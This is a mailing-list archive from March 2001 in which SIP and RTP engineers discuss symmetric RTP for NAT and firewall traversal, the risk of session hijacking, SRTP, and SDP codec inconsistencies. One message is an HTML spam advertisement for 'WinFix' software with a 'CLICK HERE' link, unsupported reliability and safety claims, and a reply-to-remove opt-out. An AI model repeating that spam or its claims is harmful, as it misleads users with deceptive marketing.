Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA07692;
	Fri, 16 Mar 2001 02:22:15 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QS4V>; Fri, 16 Mar 2001 02:21:04 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BC16@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Michael Thomas'" <mat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Fri, 16 Mar 2001 02:20:56 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Thursday, March 15, 2001 5:28 PM
> To: Jonathan Rosenberg
> Cc: 'sip@lists.bell-labs.com'; 'rem-conf@es.net'; 'confctrl@isi.edu'
> Subject: [SIP] symmetric RTP as a solution for NAT traversal
> 
> 
> 
> Jonathan, 
> 
> On the surface this doesn't sound unreasonable to
> me, but my main question is whether, in the end
> you end up needing ALG functionality to deal with
> NAT's whether this incremental step is necessary.
> That is, if you end up needing an ALG to deal with
> the UAS-behind-the-NAT problem, have we bought 
> anything?

Well, you don't need an ALG to deal with UAS behind NAT.
THe document handles the case where one, the other, or
both users are behind NATs, without an ALG in all three cases.
The case where both are behind NAT is still a bit unappealing
(requiring an rtp forwarder), but there still may be ways
around that too, even.

Other peer-peer apps have dealt with nats in intelligent
ways, and I think its beneficial to learn from them.

> 
> On a different tangent, (never being one to shy
> away from having multiple contradictory opinions
> on the same subject), plain old firewalls (not
> NAT'ing firewalls) are current still a problem
> since they typically block the dynamic range for
> RTP. 

Yup.

> Is it possible that this might be munged to
> deal with that problem? 

In some respects, the problem gets easier with this change.
I think (and am not sure), that an implication of using this
symmetric RTP is that sip clients can now traverse socks v5.0
compliant firewalls. Its just a suspicion - I'm looking for
expert input to verify/reject that claim.



> Ie, allow RTP on a well
> known port and demux using the SSCR? I seem to
> recall that this has a fatal problem, but I can't
> remember what it is. I really should go re-read my
> Chapman/Zwicky first, but... If we could do this
> your BRTP proposal would make RTP look like any
> old UDP command/response protocol from the
> firewall standpoiont which might interesting.

It doesn't work when there are machines that have
multiple processes, each of which is terminating RTP.
Thats because you can no longer use the system provided
demux (ports), and now must resort to a new, intermediate
demux layer (using ssrc). Plus, it would require signaling
the SSRC within SDP/SIP. Much akin to the SCTP stream discussion
in a separate thread on the sip list.

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Thu Mar 15 23:23:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA22212
	for confctrl-outgoing; Thu, 15 Mar 2001 23:23:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA22200
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 23:23:38 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2G7Nbq11679
	for <confctrl@isi.edu>; Thu, 15 Mar 2001 23:23:37 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA07728;
	Fri, 16 Mar 2001 02:26:51 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QS49>; Fri, 16 Mar 2001 02:25:40 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BC17@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Christian Huitema'" <huitema@exchange.microsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com,
        rem-conf@es.net, confctrl@ISI.EDU
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Fri, 16 Mar 2001 02:25:33 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Christian Huitema [mailto:huitema@exchange.microsoft.com]
> Sent: Thursday, March 15, 2001 10:22 PM
> To: Jonathan Rosenberg; sip@lists.bell-labs.com; rem-conf@es.net;
> confctrl@isi.edu
> Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
> 
> 
> Jonathan,
> 
> Your solution is interesting, but it does not deal with the 
> case of two
> PCs, both behind a NAT. 

It does. The document discusses the solution. It uses an external RTP
translator. Not optimal; I recognize that. Other solutions may be possible.

> Another way to solve the problem is to let the
> PC who is behind a NAT learn the external mapping of the RTP 
> port, e.g.
> that 10.0.0.9:3456 maps to 123.45.67.89:7891. There are quite 
> a few ways
> to do that, some of which could well end up being standardized. That
> would certainly be a nice complement to the symmetric RTP trick.

Absolutely. There are several tractable solutions if nats conform to the
UDP requirements which you have outlined, Christian, in:

http://search.ietf.org/internet-drafts/draft-huitema-natreq4udp-00.txt



> 
> However, there is a slight problem. We cannot assume that 
> NATs are aware
> of RTP's requirement for "port pairs", an even port for RTP, the next
> port for RTCP. We may well learn that port 3456 maps to
> 123.45.67.89:7891, and port 3457 maps to 123.45.67.89:9872. Now, if we
> intend to open the SDP spec and create attributes for the "symmetric
> RTP", we should perhaps also create an attribute specifying the RTCP
> port, when that port is not equal to RTP+1.

If we do some kind of solution where the external entity tells both UAs
their public addresses, then yes, this will be needed.

> 
> A mild objection to the symmetric RTP is the risk of session 
> hijacking.
> Arguably, that is a risk you can assume if the alternative is 
> no session
> at all, but you should still consider it...

How does symmetric RTP create a risk of hijacking?

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Mar 16 07:56:41 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA10637
	for confctrl-outgoing; Fri, 16 Mar 2001 07:56:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA10632
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 07:56:40 -0800 (PST)
Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2GFudq15409
	for <confctrl@isi.edu>; Fri, 16 Mar 2001 07:56:39 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831);
	 Fri, 16 Mar 2001 07:57:16 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 16 Mar 2001 07:57:19 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883);
	 Fri, 16 Mar 2001 07:57:19 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4668.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Fri, 16 Mar 2001 07:57:18 -0800
Message-ID: <CC2E64D4B3BAB646A87B5A3AE97090420EFADA8E@speak.dogfood>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [SIP] symmetric RTP as a solution for NAT traversal
Thread-Index: AcCt6iS/i6ThWIBKS6Kr6RlNFeIwbwARvG0g
From: "Christian Huitema" <huitema@exchange.microsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>, <sip@lists.bell-labs.com>,
        <rem-conf@es.net>, <confctrl@ISI.EDU>
X-OriginalArrivalTime: 16 Mar 2001 15:57:19.0516 (UTC) FILETIME=[C7CDD5C0:01C0AE31]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id HAA10633
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> How does symmetric RTP create a risk of hijacking?

You discard the SDP information and instead reply to whatever address
the first RTP packet came from. If this first packet comes from a third
party, you end up with a session to the third party instead of a session
to the original target. As I said, this is a mild risk: the third party
has to be able to find out which port you listen to, and it has to have
good timing. Also, the third party has to find a way to shut down the
original target of the call.

-- Christian Huitema

From confctrl-owner  Fri Mar 16 08:05:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA11077
	for confctrl-outgoing; Fri, 16 Mar 2001 08:05:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11058
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 08:04:59 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2GG4xq16485
	for <confctrl@isi.edu>; Fri, 16 Mar 2001 08:04:59 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA04980;
	Fri, 16 Mar 2001 08:04:52 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id ACI32050;
	Fri, 16 Mar 2001 08:04:47 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA03579; Fri, 16 Mar 2001 08:04:47 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15026.14750.967508.965470@thomasm-u1.cisco.com>
Date: Fri, 16 Mar 2001 08:04:46 -0800 (PST)
To: "Christian Huitema" <huitema@exchange.microsoft.com>
Cc: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>, <sip@lists.bell-labs.com>,
        <rem-conf@es.net>, <confctrl@ISI.EDU>
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
In-Reply-To: <CC2E64D4B3BAB646A87B5A3AE97090420EFADA8E@speak.dogfood>
References: <CC2E64D4B3BAB646A87B5A3AE97090420EFADA8E@speak.dogfood>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Christian Huitema writes:
 > > How does symmetric RTP create a risk of hijacking?
 > 
 > You discard the SDP information and instead reply to whatever address
 > the first RTP packet came from. If this first packet comes from a third
 > party, you end up with a session to the third party instead of a session
 > to the original target. As I said, this is a mild risk: the third party
 > has to be able to find out which port you listen to, and it has to have
 > good timing. Also, the third party has to find a way to shut down the
 > original target of the call.

   And this has a fairly straightforward solution in any
   case: use SRTP to place a keyed integrity check
   on the packet.

		Mike


From confctrl-owner  Fri Mar 16 08:39:33 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA12736
	for confctrl-outgoing; Fri, 16 Mar 2001 08:39:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA12730
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 08:39:32 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2GGdVq22433
	for <confctrl@ISI.EDU>; Fri, 16 Mar 2001 08:39:31 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA08293;
	Fri, 16 Mar 2001 08:39:44 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id ACI32600;
	Fri, 16 Mar 2001 08:39:22 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA03582; Fri, 16 Mar 2001 08:39:22 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15026.16826.454152.335949@thomasm-u1.cisco.com>
Date: Fri, 16 Mar 2001 08:39:22 -0800 (PST)
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'Michael Thomas'" <mat@cisco.com>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128BC16@DYN-EXCH-001.dynamicsoft.com>
References: <B65B4F8437968F488A01A940B21982BF0128BC16@DYN-EXCH-001.dynamicsoft.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg writes:
 > > From: Michael Thomas [mailto:mat@cisco.com]
 > > Ie, allow RTP on a well
 > > known port and demux using the SSCR? I seem to
 > > recall that this has a fatal problem, but I can't
 > > remember what it is. I really should go re-read my
 > > Chapman/Zwicky first, but... If we could do this
 > > your BRTP proposal would make RTP look like any
 > > old UDP command/response protocol from the
 > > firewall standpoiont which might interesting.
 > 
 > It doesn't work when there are machines that have
 > multiple processes, each of which is terminating RTP.
 > Thats because you can no longer use the system provided
 > demux (ports), and now must resort to a new, intermediate
 > demux layer (using ssrc). Plus, it would require signaling
 > the SSRC within SDP/SIP. Much akin to the SCTP stream discussion
 > in a separate thread on the sip list.

   On the first part, that's mainly an OS implementation
   issue; in fact, an OS could just ignore this problem
   and allow processes to camp on the well known port on 
   a first come first serve basis and it would probably
   work sort of OK until things got sorted out.

   The second part is more interesting. I think that
   we all agree that this would require some sort of 
   hint in SDP; I believe you suggested calling it
   BRTP ala the 1890 profile convention (*). If we
   assumed that that is what was placed into SDP,
   the normal thing a server does is reverses the
   source and destination port to reply, and the
   receiver could just camp on its source port to
   get the return flow, right? In fact, you might
   not even need to modify SDP at all if you got
   an IANA registered port and used that as the 
   key of whether to do BRTP or not. This may
   be risky though, but maybe not: an ignorant
   implementation would just issue a new SDP
   for the other direction which would fail, but
   that's the thing that would happen if it didn't 
   understand the semantics of the explicitly signaled BRTP
   in SDP.


[*] I'm a little worried about name space
    combinatorics here. how would you express
    BRTP+SRTP, for example, in SDP?

		   Mike


From confctrl-owner  Fri Mar 16 09:55:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA15758
	for confctrl-outgoing; Fri, 16 Mar 2001 09:55:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA15753
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 09:55:40 -0800 (PST)
Received: from microappliances.com ([216.103.255.138])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f2GHtdq05948
	for <confctrl@ISI.EDU>; Fri, 16 Mar 2001 09:55:39 -0800 (PST)
Received: (qmail 7646 invoked by uid 100); 16 Mar 2001 17:56:13 -0000
Date: 16 Mar 2001 17:56:13 -0000
Message-ID: <20010316175613.7645.qmail@microappliances.com>
From: shh@microappliances.com
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Reply-To: shh@microappliances.com
Cc: "'Michael Thomas'" <mat@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
References: <B65B4F8437968F488A01A940B21982BF0128BC16@DYN-EXCH-001.dynamicsoft.com>
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128BC16@DYN-EXCH-001.dynamicsoft.com>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


And of course there are SIP-ALGs that don't cost an arm and
a leg that solve all these problems (my biased opinion).

If SIP proxy vendors are interested in partnering to solve
this problem for their customers we would welcome that.

> >
> > On a different tangent, (never being one to shy
> > away from having multiple contradictory opinions
> > on the same subject), plain old firewalls (not
> > NAT'ing firewalls) are current still a problem
> > since they typically block the dynamic range for
> > RTP.
>

This problem is solved by a SIP ALG sitting in parallel with
a this kind of a firewall. AKA a side-car approach in which
timer based pin holes are created in the SIP-ALG.

Shiv
sip:shh@microappliances.com


Quoting Jonathan Rosenberg <jdrosen@dynamicsoft.com>:

> 
>
>
>
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@cisco.com]
> > Sent: Thursday, March 15, 2001 5:28 PM
> > To: Jonathan Rosenberg
> > Cc: 'sip@lists.bell-labs.com'; 'rem-conf@es.net'; 'confctrl@isi.edu'
> > Subject: [SIP] symmetric RTP as a solution for NAT traversal
> >
> >
> >
> > Jonathan,
> >
> > On the surface this doesn't sound unreasonable to
> > me, but my main question is whether, in the end
> > you end up needing ALG functionality to deal with
> > NAT's whether this incremental step is necessary.
> > That is, if you end up needing an ALG to deal with
> > the UAS-behind-the-NAT problem, have we bought
> > anything?
>
> Well, you don't need an ALG to deal with UAS behind NAT.
> THe document handles the case where one, the other, or
> both users are behind NATs, without an ALG in all three cases.
> The case where both are behind NAT is still a bit unappealing> >
> > On a different tangent, (never being one to shy
> > away from having multiple contradictory opinions
> > on the same subject), plain old firewalls (not
> > NAT'ing firewalls) are current still a problem
> > since they typically block the dynamic range for
> > RTP.
>

> (requiring an rtp forwarder), but there still may be ways
> around that too, even.
>
> Other peer-peer apps have dealt with nats in intelligent
> ways, and I think its beneficial to learn from them.
>
> Yup.
>
> > Is it possible that this might be munged to
> > deal with that problem?
>
> In some respects, the problem gets easier with this change.
> I think (and am not sure), that an implication of using this
> symmetric RTP is that sip clients can now traverse socks v5.0
> compliant firewalls. Its just a suspicion - I'm looking for
> expert input to verify/reject that claim.
>
>
>
> > Ie, allow RTP on a well
> > known port and demux using the SSCR? I seem to
> > recall that this has a fatal problem, but I can't
> > remember what it is. I really should go re-read my
> > Chapman/Zwicky first, but... If we could do this
> > your BRTP proposal would make RTP look like any
> > old UDP command/response protocol from the
> > firewall standpoiont which might interesting.
>
> It doesn't work when there are machines that have
> multiple processes, each of which is terminating RTP.
> Thats because you can no longer use the system provided
> demux (ports), and now must resort to a new, intermediate
> demux layer (using ssrc). Plus, it would require signaling
> the SSRC within SDP/SIP. Much akin to the SCTP stream discussion
> in a separate thread on the sip list.
>
> -Jonathan R.
>
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>
>
> _______________________________________________
> This list is for continuing development of the SIP protocol.
> The sip-implementor's list is the place to discuss implementation,
> and to receive advice on understanding existing sip.
> To subscribe to it, send mail to
> sip-implementors-request@cs.columbia.edu with "subscribe" in the body.
> 

From confctrl-owner  Fri Mar 16 10:53:45 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA18802
	for confctrl-outgoing; Fri, 16 Mar 2001 10:53:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18797
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 10:53:44 -0800 (PST)
Received: from elektron.elka.pw.edu.pl (root@elektron.elka.pw.edu.pl [194.29.160.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2GIrgq17033
	for <confctrl@isi.edu>; Fri, 16 Mar 2001 10:53:43 -0800 (PST)
Received: from zst-dhcp140.tele.pw.edu.pl ([194.29.169.140]:1903 "EHLO
        elka.pw.edu.pl") by elektron.elka.pw.edu.pl with ESMTP
	id <S225309AbRCPSxS>; Fri, 16 Mar 2001 19:53:18 +0100
Message-ID: <3AB2612A.448449A2@elka.pw.edu.pl>
Date:   Fri, 16 Mar 2001 19:53:30 +0100
From: "Piotr S. Kossowski" <P.Kossowski@elka.pw.edu.pl>
Organization: Warsaw University of Technology - Institute of Telecommunications
X-Mailer: Mozilla 4.7 [pl] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
CC: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: [SIP] RE: [Sip-implementors] Meaning of SDP 'm' line in INVITE 
 transaction
References: <B65B4F8437968F488A01A940B21982BF0128BBC7@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
To: unlisted-recipients:; (no To-header on input)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear All,

See comments below.

Jonathan Rosenberg wrote:
> 
> >
> > SDP in INIVTE  contains (from Bell):
> >
> >       m=audio 3456 RTP/AVP 0 3 4 5
> >
> > 200 response contains (from Watson):
> >
> >       m=audio 5004 RTP/AVP 0 3
> >
> > and note: "(...)Watson's list of codecs may or may not be a subset
> > of the one offered by Bell"
> 
> This is an inconsistency in the spec. The spec also says, in the appendix on
> SDP, that the SDP offered in the response needs to be a subset offered in
> the request. It turns out that it doesn;'t make a huge difference,  since
> the caller can compute the intersection if the called party offers something
> larger than the subset. Indeed, for the bidirectional case, they are really
> equivalent.

> > * The second case *
> >
> > B.1 of the spec:
> >
> > SDP in INIVTE  contains:
> >
> >       m=audio 49170 RTP/AVP 0
> >
> > 200 response contains:
> >
> >       m=audio 57920 RTP/AVP 0 1
> >
> > Question: Why UAS added codec with payload 1 ?
> 
> Again, inconsistency.
> 

Well...

This inconsistency could be removed in easy way, I suppose:

Either: from section 16.3 of rfc2543bis-02 (Two-Party Call)
remove sentence "(..)Watson’s list of codecs may or may not be a subset
of the one offered by Bell, as each party indicates the data types it is 
willing to receive." and put this kind of information into appendix B.

Or: add to the sentence a clarifying info in brackets: "however, the sets 
MUST(SHOULD?) have intersection)" that is a consequence of appendix B.

Comments ?

Regards, Piotr

From confctrl-owner  Fri Mar 16 17:14:54 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA02927
	for confctrl-outgoing; Fri, 16 Mar 2001 17:14:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA02922
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 17:14:52 -0800 (PST)
Received: from ns.coupgut.co.jp (ns.coupgut.co.jp [211.17.238.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2H1Eoq26805
	for <confctrl@isi.edu>; Fri, 16 Mar 2001 17:14:51 -0800 (PST)
Received: from isdnfueefj.loudpages.com (slip-166-72-202-171.mi.us.prserv.net [166.72.202.171])
	by ns.coupgut.co.jp (8.9.1a/3.7W) with SMTP id UAA05478;
	Fri, 16 Mar 2001 20:00:47 +0900
From: ajaz@pwief.loudpages.com
Reply-To: nnfdnsidbn3543@yahoo.com
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
Message-Id: <664o8lh22gln6nb.0g5p8t@isdnfueefj.loudpages.com>
To: marynifdn3@gte.net
X-Mailer: Mozilla 4.7 [en] (Win95; U)
Date: Fri, 16 Mar 2001 18:04:42 -0500
Subject: You Can Boost Windows reliability!!!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<body>
<p>Dear Windows User,<br>
<br>
Now you can boost the reliability of ordinary Windows ME, 95 and 98&nbsp;<br>
to<br>
nearly the level of Windows NT or 2000, Microsoft's professional and&nbsp;
<br>
industrial version of Windows.<br>
<br>
The new <font color="#FF0000"> WinFix</font> is a very effective way to 
improve the reliability of<br>
Windows, because it makes Windows fault-tolerant and self-repairing.&nbsp;
<br>
And<br>
<font color="#FF0000">
WinFix</font> is very safe, because it operates completely independent 
of&nbsp;<br>
Windows.<br>
<br>
<span class="072290608-23022001"><a href="http://topman.networkspeed.
net"><font face="Arial" size="4"><b>CLICK
HERE</b></font></a>
<font face="Arial" size="2"> </font> </span>to find out more about <font 
color="#FF0000"> WinFix</font> the safest,<br>
most effective way to keep you working,<br>
by keeping your PC working non-stop.<br>
Arlen Dixon, CEO<br>
<br>
Westwood Software Marketing<br>
<br>
<br>
* * * * * * * * * * * * * * * * *<br>
<br>
This announcement is being sent to PC users who asked to be kept<br>
informed about new developments in Windows(tm) technology.<br>
<br>
<br>
To be removed from future mailings:<br>
Please reply with REMOVE in the subject
line.</p>
</body>
</html>


From confctrl-owner  Fri Mar 16 20:38:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA09420
	for confctrl-outgoing; Fri, 16 Mar 2001 20:38:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA09415
	for <confctrl@zephyr.isi.edu>; Fri, 16 Mar 2001 20:38:13 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2H4cCq24205
	for <confctrl@ISI.EDU>; Fri, 16 Mar 2001 20:38:12 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA19544;
	Fri, 16 Mar 2001 23:41:18 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QV35>; Fri, 16 Mar 2001 23:40:05 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BC39@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'shh@microappliances.com'" <shh@microappliances.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'Michael Thomas'" <mat@cisco.com>,
        "'sip@lists.bell-labs.com'"
	 <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
Date: Fri, 16 Mar 2001 23:40:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: shh@microappliances.com [mailto:shh@microappliances.com]
> Sent: Friday, March 16, 2001 12:56 PM
> To: Jonathan Rosenberg
> Cc: 'Michael Thomas'; Jonathan Rosenberg; 'sip@lists.bell-labs.com';
> 'rem-conf@es.net'; 'confctrl@isi.edu'
> Subject: RE: [SIP] symmetric RTP as a solution for NAT traversal
> 
> 
> 
